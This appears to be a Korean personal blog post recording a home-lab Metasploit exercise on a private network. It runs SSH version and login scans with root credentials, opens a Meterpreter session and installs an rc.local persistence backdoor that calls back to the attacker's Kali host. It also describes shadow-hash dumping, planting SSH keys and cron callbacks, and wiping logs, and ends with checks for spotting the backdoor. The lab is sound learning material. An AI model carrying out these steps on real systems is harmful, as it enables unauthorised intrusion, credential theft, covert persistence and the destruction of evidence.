Metasploit(msfconsole)

RYEONGO KIM·2026년 3월 1일

kali linux

목록 보기
6/6

msfconsole 실습 준비 및 실행

msfconsole은 단순히 공격 도구가 아니라, 수천 개의 해킹 모듈을 담고 있는 '공격용 운영체제'와 같습니다.
서비스 시작 및 실행 (Kali Linux)
가장 먼저 데이터베이스를 초기화하고 콘솔을 실행합니다. (데이터베이스를 연결하면 검색 속도가 훨씬 빨라집니다.)

sudo msfdb init
msfconsole

앞선 실습(Hydra)으로 인해서 root와 비밀번호를 획득햇다.

실습 1: 보조 모듈(Auxiliary)로 정보 수집하기
침투하기 전, 대상 서버에서 어떤 서비스가 돌아가는지 확인하는 단계입니다. Hydra로 공격했던 SSH 서비스가 실제로 열려 있는지, 버전은 무엇인지 msfconsole로 확인해 봅시다.

# 1. SSH 버전 스캐너 선택
use auxiliary/scanner/ssh/ssh_version

# 2. 공격 대상 IP 설정
set RHOSTS 192.168.200.23

# 3. 스캔 실행
run

타겟 확인: IP 192.168.200.23 서버에 정상적으로 연결되었습니다.

SSH 버전 탈취: 서버에서 돌아가는 SSH 서비스가 OpenSSH 9.9 버전이라는 사실을 알아냈습니다.

상세 정보 확보: 서버가 지원하는 암호화 방식(aes256-gcm, chacha20-poly1305 등)과 압축 방식 정보까지 모두 리스트업 되었습니다.

해커의 관점에서 단순히 "문이 열려 있다"를 넘어 "문이 어떤 모델(OpenSSH 9.9)인지" 아는 것은 공격의 성공률을 엄청나게 높여줍니다.

취약점 검색: 나중에 이 버전에 알려진 보안 취약점(CVE)이 있는지 구글이나 메타스플로잇 내부에서 바로 검색해 볼 수 있습니다.

공격 도구 최적화: 서버가 사용하는 암호화 방식을 알았으니, 이에 맞는 공격 페이로드를 더 정밀하게 구성할 수 있습니다.

버전을 확인했으니, 이제 메타스플로잇 안에 있는 로그인 스캐너를 사용해 볼 차례입니다. 아까 Hydra로 했던 것과 비슷하지만, 메타스플로잇은 성공 시 바로 서버를 제어할 수 있는 세션(Session)을 만들어준다는 장점이 있습니다.

# 1. 로그인 스캔 모듈로 변경
use auxiliary/scanner/ssh/ssh_login

# 2. 타겟 설정
set RHOSTS 192.168.200.23

# 3. 로그인 정보 설정 (비밀번호 0000으로 테스트)
set USERNAME root
set PASSWORD 0000

# 4. 실행
run


이제 열려 있는 세션 1번으로 들어가서, 마치 Red Hat 서버 앞에 앉아 있는 것처럼 명령어를 내려볼 차례입니다. msfconsole 창에서 다음 명령어를 입력합니다.

레드헷리눅스에서도 ls -al이 똑같이 뜨는 것을 볼수있다

1. 정보 수집 (Information Gathering)
가장 먼저 내가 들어온 곳이 정확히 어디인지, 어떤 중요한 데이터가 있는지 파악하는 단계입니다.

시스템 정보 확인: 운영체제 버전, 커널 정보, 네트워크 설정 등을 확인합니다.

사용자 및 계정 확인: 어떤 사용자들이 접속해 있는지, 어떤 그룹이 있는지 살핍니다.

민감한 파일 탐색: /etc/passwd, /etc/shadow(비밀번호 해시) 파일이나 사용자의 개인 문서, 데이터베이스 설정 파일 등을 뒤집니다.
2. 권한 상승 및 자격 증명 탈취 (Privilege Escalation & Credential Hunting)
만약 일반 계정으로 들어왔다면 root 권한을 얻으려 노력하겠지만, 이미 root이므로 다음 단계를 수행합니다.

비밀번호 해시 덤프: 서버에 저장된 모든 사용자의 비밀번호 암호화 값을 추출하여 나중에 복호화(Cracking)를 시도합니다.

메모리 분석: 메모리에 남아있는 평문 비밀번호나 인증 토큰을 찾아냅니다.

  1. 지속성 유지 (Persistence)
    관리자가 서버를 재부팅하거나 비밀번호를 바꿔도 공격자가 언제든 다시 들어올 수 있도록 뒷문을 만들어두는 과정입니다.

백도어(Backdoor) 설치: 특정 포트를 열어두거나, 주기적으로 공격자에게 연결을 시도하는 스크립트(Cron job)를 심어둡니다.

SSH 키 등록: 공격자의 공개키(Public Key)를 서버의 authorized_keys에 등록하여 비밀번호 없이 언제든 접속하게 만듭니다.

  1. 흔적 제거 (Clearing Tracks)
    공격 사실을 들키지 않기 위해 자신이 남긴 로그를 지우거나 수정하는 단계입니다.

로그 삭제: /var/log/secure나 /var/log/messages 등 공격 흔적이 남은 로그 파일을 세밀하게 편집합니다.

타임스탬프 조작: 파일의 생성/수정 날짜를 조작하여 의심을 피합니다.

지속성을 유지하기위해 백도어를 설치해보는 실습을 진행합니다. Meterpreter는 공격자가 침투한 뒤에 사용할 수 있는 가장 강력한 도구 중 하나로, 수동으로 코드를 입력할 필요 없이 명령 한 줄로 백도어를 심는 기능을 제공합니다.

1단계: 먼저 현재 모듈에서 빠져나와 전체 목록을 다시 띄워야 합니다.

search persistence type:exploit platform:linux

37번에 rc_local을 사용할 예정입니다

# 검색 결과에 나온 번호를 입력
use 37

37번이기때문에 use 37을 입력한다.

2단계: 백도어 옵션 설정 및 실행
모듈을 선택했다면, 련고님의 환경에 맞게 옵션을 세팅합니다.

# 1. 현재 활성화된 Meterpreter 세션 번호 (2번)
set SESSION 2

# 2. 연결을 받을 련고님의 Kali IP
set LHOST 192.168.200.30

# 3. 연결 포트 (기본 4444)
set LPORT 4444

# 4. 실행
run

3단계: 수동으로 확인하기 (RHEL 10.1 서버)
모듈 실행 후, 실제 서버의 rc.local 파일에 백도어 코드가 잘 들어갔는지 확인해 볼 수 있습니다.

실행 권한 부여하기
Meterpreter 세션 상태에서 아래 명령어를 입력하여 파일에 실행 권한을 줍니다.

shell
# (리눅스 쉘로 진입하면 아래 명령어 입력)
chmod +x /etc/rc.d/rc.local
exit

세션 진입: sessions -i 2

명령어 입력: cat /etc/rc.d/rc.local 또는 cat /etc/rc.local

최종 결과 분석
서버의 부팅 스크립트 파일인 /etc/rc.d/rc.local의 맨 하단을 확인해 보세요.

백도어 경로 추가: /tmp/X73Gpx7f7M & 라는 한 줄이 추가된 것을 볼 수 있습니다.

의미: 아까 메타스플로잇이 /tmp 폴더에 생성했던 공격용 실행 파일이, 이제 서버가 켜질 때마다 백그라운드(&)에서 자동으로 실행되도록 설정된 것입니다.

정상 종료: 마지막에 exit 0까지 깔끔하게 붙어 있어, 시스템 부팅 과정에 문제를 일으키지 않으면서 백도어만 조용히 실행됩니다.

  1. 부팅 스크립트(rc.local) 확인
    방금 메타스플로잇으로 수정했던 파일을 서버에서 직접 열어보는 것이 가장 확실합니다.

확인 명령어: cat /etc/rc.d/rc.local
체크 포인트: 파일 맨 아랫부분에 /tmp/X73Gpx7f7M &와 같이 알 수 없는 실행 파일 경로가 추가되어 있다면 백도어가 설치된 것입니다.

실행 권한: ls -l /etc/rc.d/rc.local을 쳤을 때 -rwxr-xr-x처럼 x(실행 권한)가 붙어 있다면 부팅 시 자동으로 실행될 준비가 끝난 상태입니다.

  1. 수상한 프로세스 및 네트워크 연결 확인
    백도어가 실행 중이라면 서버는 공격자(Kali)에게 계속 연결을 시도하거나 유지하고 있을 것입니다.

네트워크 연결 확인: netstat -antp 또는 ss -antp

체크 포인트: ESTABLISHED 상태인 연결 중에서 련고님의 Kali IP(192.168.200.30)와 연결된 것이 있는지 보세요.

프로세스 확인: ps -ef | grep /tmp

체크 포인트: 보통의 정상적인 프로그램은 /tmp 폴더에서 실행되지 않습니다. 여기서 실행 중인 프로세스가 있다면 백도어일 확률이 매우 높습니다.

오늘 실습 최종 요약
1. 정보 수집 : ssh_version 스캐너로 타겟 서버 정보 탈취 OpenSSH 9.9 버전 확인
2. 침투 (Exploit) : ssh_login 모듈로 무차별 대입 공격 수행 root 권한 및 세션 획득
3. 권한 업그레이드 : 일반 쉘을 Meterpreter 세션으로 승격 강력한 원격 제어 기능 확보
4. 지속성 유지 : rc_local을 변조하여 자동 백도어 설치재부팅 후 자동 연결 설정 완료

profile
배우는 중 입니다.

0개의 댓글